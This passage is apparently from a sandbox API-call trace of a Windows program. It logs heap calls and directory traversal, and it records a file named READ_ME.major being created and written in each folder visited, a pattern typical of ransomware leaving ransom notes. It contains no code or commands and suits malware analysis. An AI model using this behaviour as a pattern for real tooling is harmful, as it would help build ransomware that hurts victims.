Flags=0x0, Size=0x20) returned 0x5cce90 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631400 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631400 | out: hHeap=0x570000) returned 1 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0158.475] FindNextFileW (in: hFindFile=0x6313c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x19484996, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0158.475] GetLastError () returned 0x0 [0158.475] SetLastError (dwErrCode=0x0) [0158.475] GetLastError () returned 0x0 [0158.475] SetLastError (dwErrCode=0x0) [0158.475] GetLastError () returned 0x0 [0158.475] SetLastError (dwErrCode=0x0) [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be738 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0158.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631400 [0158.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631400 | out: hHeap=0x570000) returned 1 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0158.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0158.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0158.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0158.476] FindNextFileW (in: hFindFile=0x6313c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="css", cAlternateFileName="")) returned 1 [0158.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0158.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0158.476] GetLastError () returned 0x0 [0158.476] SetLastError (dwErrCode=0x0) [0158.476] GetLastError () returned 0x0 [0158.476] SetLastError (dwErrCode=0x0) [0158.476] GetLastError () returned 0x0 [0158.476] SetLastError (dwErrCode=0x0) [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1d0 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0158.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0158.476] GetLastError () returned 0x0 [0158.476] SetLastError (dwErrCode=0x0) [0158.476] GetLastError () returned 0x0 [0158.476] SetLastError (dwErrCode=0x0) [0158.476] GetLastError () returned 0x0 [0158.476] SetLastError (dwErrCode=0x0) [0158.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6531b8 [0158.476] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\READ_ME.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec [0158.477] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6531b8 | out: hHeap=0x570000) returned 1 [0158.477] WriteFile (in: hFile=0x6ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0158.478] CloseHandle (hObject=0x6ec) returned 1 [0158.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0158.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0158.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0158.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0158.478] FindNextFileW (in: hFindFile=0x6313c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="js", cAlternateFileName="")) returned 1 [0158.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0158.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0158.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0158.478] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0158.478] GetLastError () returned 0x0 [0158.478] SetLastError (dwErrCode=0x0) [0158.478] GetLastError () returned 0x0 [0158.478] SetLastError (dwErrCode=0x0) [0158.478] GetLastError () returned 0x0 [0158.478] SetLastError (dwErrCode=0x0) [0158.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0158.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0158.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0158.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0158.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1a0 [0158.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0158.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0158.479] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0158.479] GetLastError () returned 0x0 [0158.479] SetLastError (dwErrCode=0x0) [0158.479] GetLastError () returned 0x0 [0158.479] SetLastError (dwErrCode=0x0) [0158.479] GetLastError () returned 0x0 [0158.479] SetLastError (dwErrCode=0x0) [0158.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0158.479] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\READ_ME.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec [0158.480] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0158.480] WriteFile (in: hFile=0x6ec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0158.481] CloseHandle (hObject=0x6ec) returned 1 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0158.481] FindNextFileW (in: hFindFile=0x6313c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19484996, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19484996, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19484996, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0158.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0158.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0158.481] GetLastError () returned 0x0 [0158.481] SetLastError (dwErrCode=0x0) [0158.481] GetLastError () returned 0x0 [0158.481] SetLastError (dwErrCode=0x0) [0158.481] GetLastError () returned 0x0 [0158.481] SetLastError (dwErrCode=0x0) [0158.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0158.481] FindNextFileW (in: hFindFile=0x6313c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19484996, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19484996, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19484996, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0158.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e928 | out: hHeap=0x570000) returned 1 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.481] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x3268450e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631400 [0158.481] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0158.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0158.482] GetLastError () returned 0x12 [0158.482] SetLastError (dwErrCode=0x12) [0158.482] GetLastError () returned 0x12 [0158.482] SetLastError (dwErrCode=0x12) [0158.482] GetLastError () returned 0x12 [0158.482] SetLastError (dwErrCode=0x12) [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631440 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631440 | out: hHeap=0x570000) returned 1 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0158.482] FindNextFileW (in: hFindFile=0x631400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x3268450e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0158.482] GetLastError () returned 0x12 [0158.482] SetLastError (dwErrCode=0x12) [0158.482] GetLastError () returned 0x12 [0158.482] SetLastError (dwErrCode=0x12) [0158.482] GetLastError () returned 0x12 [0158.482] SetLastError (dwErrCode=0x12) [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631440 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631440 | out: hHeap=0x570000) returned 1 [0158.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0158.482] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0158.483] FindNextFileW (in: hFindFile=0x631400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19f653e5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19f653e5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0158.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0158.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0158.483] GetLastError () returned 0x12 [0158.483] SetLastError (dwErrCode=0x12) [0158.483] GetLastError () returned 0x12 [0158.483] SetLastError (dwErrCode=0x12) [0158.483] GetLastError () returned 0x12 [0158.483] SetLastError (dwErrCode=0x12) [0158.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.483] FindNextFileW (in: hFindFile=0x631400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19f653e5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19f653e5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0158.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed38 | out: hHeap=0x570000) returned 1 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0158.483] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x2797fc81, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631440 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0158.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0158.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0158.483] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0158.483] GetLastError () returned 0x12 [0158.483] SetLastError (dwErrCode=0x12) [0158.483] GetLastError () returned 0x12 [0158.483] SetLastError (dwErrCode=0x12) [0158.483] GetLastError () returned 0x12 [0158.483] SetLastError (dwErrCode=0x12) [0158.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0158.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be268 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6314c0 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6314c0 | out: hHeap=0x570000) returned 1 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0158.484] FindNextFileW (in: hFindFile=0x631440, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x2797fc81, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0158.484] GetLastError () returned 0x12 [0158.484] SetLastError (dwErrCode=0x12) [0158.484] GetLastError () returned 0x12 [0158.484] SetLastError (dwErrCode=0x12) [0158.484] GetLastError () returned 0x12 [0158.484] SetLastError (dwErrCode=0x12) [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6314c0 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6314c0 | out: hHeap=0x570000) returned 1 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0158.484] FindNextFileW (in: hFindFile=0x631440, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19f653e5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19f653e5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0158.484] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0158.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0158.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0158.485] GetLastError () returned 0x12 [0158.485] SetLastError (dwErrCode=0x12) [0158.485] GetLastError () returned 0x12 [0158.485] SetLastError (dwErrCode=0x12) [0158.485] GetLastError () returned 0x12 [0158.485] SetLastError (dwErrCode=0x12) [0158.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0158.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0158.485] FindNextFileW (in: hFindFile=0x631440, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19f653e5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19f653e5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19f653e5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0158.485] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0158.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0158.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0158.485] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 